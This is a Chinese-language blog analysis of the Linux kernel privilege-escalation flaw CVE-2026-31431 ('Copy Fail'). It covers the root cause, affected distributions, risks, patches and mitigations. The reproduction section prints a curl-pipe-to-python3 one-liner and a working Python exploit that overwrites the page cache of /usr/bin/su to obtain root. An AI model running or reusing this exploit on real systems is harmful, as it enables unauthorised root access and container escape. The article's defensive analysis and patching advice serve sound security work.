当前位置:首页>Linux>732字节、1秒root,潜伏近十年的Linux提权漏洞CVE-2026-31431“Copy Fail”深度剖析

732字节、1秒root,潜伏近十年的Linux提权漏洞CVE-2026-31431“Copy Fail”深度剖析

  • 2026-10-11 08:22:51
732字节、1秒root,潜伏近十年的Linux提权漏洞CVE-2026-31431“Copy Fail”深度剖析

一纸732字节的Python脚本,便能将普通用户权限瞬间提升至root。这个潜伏近十年的漏洞,正在威胁几乎每一台运行Linux内核的服务器。

2026年4月29日,一个代号为“Copy Fail”的Linux内核高危提权漏洞(CVE-2026-31431)被公开披露,瞬间引发安全业界高度关注。该漏洞允许任意本地普通用户利用逻辑缺陷,在几乎所有2017年后发布的Linux发行版上获取root权限,整个利用过程仅需约1秒。

⚠️免责声明

  • 💡 本文内容及工具均来源于互联网公开资料或个人实验环境。

  • 🔍 所有操作示例仅在合法授权系统或靶场环境中测试。

  • 🛑 禁止将本文内容用于任何未授权攻击或违法行为。

  • ⚖️ 违规操作造成的法律责任,由使用者自行承担。

  • 📚 本文仅供学习和技术交流,请勿破坏或攻击他人系统。

  • 💡 文章内容或引用于互联网公开收集,如涉侵权,联系我们立即删除!


一次关注 永不迷路


01 漏洞概览

项目
内容
CVE编号
CVE-2026-31431
漏洞名称
Copy Fail
漏洞类型
Linux内核本地权限提升(LPE)
CVSS 3.1评分
7.8(高危)
触发方式
本地普通用户权限
是否需要竞争条件
否
EXP状态
已公开,732字节Python脚本
利用稳定性
100%稳定复现
影响时间线
2017年至补丁发布前

02 漏洞成因:三个独立组件的“致命交汇”

“Copy Fail”漏洞并非由单个代码错误引起,而是三个各自无害的组件在2017年一次性能优化后意外“交汇”的结果:

组件一:AF_ALG加密接口

AF_ALG是Linux内核为内核加密子系统(crypto)暴露给用户空间的socket接口,允许非特权用户绑定任意AEAD(认证加密)模板,发起加密或解密请求。值得注意的是,AF_ALG几乎在所有主流发行版中默认启用——尽管绝大多数用户从未直接使用过它。

组件二:splice()系统调用

splice()是一个能够在文件描述符与管道之间直接移送数据而无需拷贝的系统调用。关键在于,它传递的是对内核页缓存中文件页面的引用,而非数据副本。将splice()与AF_ALG套接字结合,攻击者便可将页面缓存中setuid二进制文件(如/usr/bin/su)的引用送入加密子系统。

组件三:authencesn加密模板

authencesn是IPsec协议中用于处理扩展序列号(ESN)的AEAD包装器。在执行HMAC计算时,它会调用输出缓冲区的尾部作为临时存储空间,在tag区域后额外写入4字节——且不恢复原值。这一行为自2011年起就存在,此前并无风险。

2017年的“致命优化”

2017年,提交72548b093ee3为algif_aead模块引入了原地(in-place)操作优化,旨在提升AEAD加解密性能。该优化允许加解密操作在同一内存区域(即输入输出共用同一scatterlist)完成。然而,这一改动使splice()传入的页缓存页面进入了可写目标散列表(scatterlist)。当authencesn执行解密操作时,其对输出缓冲区尾部的4字节写入便直接“蔓延”到了这些页面缓存页面之上。

漏洞本质:攻击者可对Linux系统上任意可读文件的页缓存执行受控的4字节写入,该写入不触发任何基于文件系统事件(如inotify)的防御机制——修改的只是内存中的缓存副本,而非磁盘上的文件本身。内核加载二进制文件时读取的是页缓存,因此等同于篡改了该二进制文件在运行时的实际内容。

03 利用方式:732字节脚本,直线提权

研究人员公开的概念验证(PoC)是一个仅732字节的Python脚本,利用以上逻辑缺陷,对/usr/bin/su等setuid二进制文件的页缓存进行精确的4字节篡改,从而改写程序执行路径,直接获取root shell。

该漏洞的利用极具“工程优势”:

  • • 无需竞争窗口:直线逻辑,无race window;
  • • 无需内核特定偏移:同一脚本适配所有发行版和架构;
  • • 无须预装工具:仅依赖Python标准库;
  • • 100%稳定复现:在Ubuntu、Amazon Linux、RHEL、SUSE等主流发行版上一次性成功。

研究者特别指出:“攻击者可以选择写入哪个文件、哪个偏移量以及写入什么值。”

复现截图

curl https://copy.fail/exp | python3 && su
#!/usr/bin/env python3import os as gimport zlibimport socket as sdefd(x):returnbytes.fromhex(x)defc(f, t, c):# 创建 AF_ALG socket    a = s.socket(38, 5, 0)# 绑定 AEAD 算法    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))    h = 279    v = a.setsockopt# 设置 key    v(h, 1, d("0800010000000010" + "0" * 64))# 设置 operation    v(h, 5, None, 4)# accept operation socket    u, _ = a.accept()    o = t + 4    i = d("00")# 构造恶意 sendmsg    u.sendmsg(        [b"A" * 4 + c],        [            (h, 3, i * 4),            (h, 2, b"\x10" + i * 19),            (h, 4, b"\x08" + i * 3),        ],32768,    )# pipe + splice    r, w = g.pipe()    n = g.splice    n(f, w, o, offset_src=0)    n(r, u.fileno(), o)try:        u.recv(8 + t)except:pass# 打开目标文件f = g.open("/usr/bin/su", 0)# payloade = zlib.decompress(    d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"    ))i = 0# 每次写 4 字节while i < len(e):    c(f, i, e[i:i + 4])    i += 4# 提权g.system("su")

04 影响范围:近十年无一幸免

“Copy Fail”漏洞影响范围堪称“史诗级”:

发行版
受影响内核版本
Ubuntu 24.04 LTS
6.17.0-1007-aws及以下
Amazon Linux 2023
6.18.8-9.213.amzn2023及以下
RHEL 14.3
6.12.0-124.45.1.el10_1及以下
SUSE 16
6.12.0-160000.9-default及以下
Debian / Arch / Fedora等
同期内核版本均受影响

问题代码于2017年(内核版本4.14)引入,此后至补丁发布前构建的几乎所有Linux内核版本均中招。需要特别注意的是,不同厂商对该漏洞的CVSS评分存在差异(例如Amazon Linux标注为5.5中危),但在多租户、容器、CI等高风险场景下,应按高危漏洞处理,不应低估威胁。

05 危害评估:从容器到云原生,全面沦陷

该漏洞虽然在技术上属于本地提权(无法被直接远程利用),但配合RCE、恶意CI构建等前置攻击面,外部攻击者同样可以将其纳入攻击链路。以下场景面临最高风险:

① 容器逃逸

页缓存在宿主机范围内是共享的——包括跨容器边界。一旦容器内攻击者利用漏洞篡改宿主机上的setuid二进制文件,即可突破容器隔离,危及整个宿主机节点及同节点其他租户。

② CI/CD环境沦陷

GitHub Actions、GitLab Runner、Jenkins Agent等CI环境中,攻击者通过恶意PR或构建脚本即可直接获取Runner宿主机的root权限,继而污染整个CI/CD流水线。

③ 云多租户环境

Notebook、Serverless、Agent沙箱等执行用户代码的云服务,同样因该漏洞面临租户突破隔离、提权为宿主机root的风险。

④ 多用户Linux主机

任意拥有本地普通账户的用户均可无条件提权至root,对企业内部堡垒机、开发机、共享服务器环境构成直接威胁。

06 修复方案

✅ 永久修复:升级内核

官方已发布修复方案,主内核提交为a664bf3d603d。该修复完全回退了2017年引入的in-place优化,还原为out-of-place操作模式。

各内核版本的修复版本:

内核版本
修复版本要求
6.18.x
升级至6.18.22或更高
6.19.x
升级至6.19.12或更高
7.0
包含a664bf3d603d补丁
旧版本
应用commit a664bf3d603d

发行版更新命令示例:

# Ubuntu / Debianapt update && apt upgrade linux-image-$(uname -r)# RHEL / CentOS / Rocky / Almayum update kernel# SUSEzypper update kernel

🔧 临时缓解措施

若无法立即升级,可采用以下临时方案:

  1. 1. 禁用algif_aead内核模块:
    echo"install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.confrmmod algif_aead
    需要注意的是,部分企业内核将CONFIG_CRYPTO_USER_API_AEAD编译为内置(y而非m),此时模块无法以.ko形式加载或卸载,该缓解措施将失效。
  2. 2. 配置seccomp策略:阻止AF_ALG socket的创建(系统调用socket(AF_ALG, ...))。

07 发现者:AI辅助漏洞挖掘的里程碑案例

该漏洞由Theori公司的研究员Taeyang Lee发现,其使用了公司自研的AI安全扫描工具Xint Code进行内核crypto子系统的审计。令人震惊的是,从锁定攻击面到定位该最高严重性漏洞,整个过程仅耗时约1小时。

这并非孤例。近几个月来,AI辅助漏洞挖掘正推动安全领域迎来“漏洞发现大爆发”。Trend Micro零日计划的Dustin Childs指出:“我们正在看到越来越多由AI工具发现的漏洞提交。”本月微软发布的补丁数量也达到历史第二高位。

08 历史对比:超越Dirty Cow

将“Copy Fail”与历史上著名的Linux提权漏洞对比:

漏洞
引入时间
是否需要竞态条件
跨发行版通用性
Dirty Cow
2007年
需要
 race window
较低
Dirty Pipe
2020年
需要特定条件
中等
Copy Fail2017年无需
 race window
100%通用

该漏洞并不依赖任何竞争条件,其利用不仅无需竞态窗口,甚至不需要内核特定偏移或编译好的有效载荷。

结语

“Copy Fail”漏洞因其影响范围极广、利用门槛极低、稳定性极高,被誉为“Linux近年最稳定的提权漏洞”。漏洞代码在Linux内核中潜伏近9年无人察觉,直到被AI安全工具揪出。这一案例既是对基础设施安全长效机制的警示,也标志着AI在漏洞挖掘领域正式登台。

建议所有使用Linux内核的组织立即排查受影响系统,优先更新容器节点、CI Runner、多租户环境及堡垒机,防患于未然。

参考资料

https://copy.fail/https://github.com/theori-io/copy-fail-CVE-2026-31431

最新文章

随机文章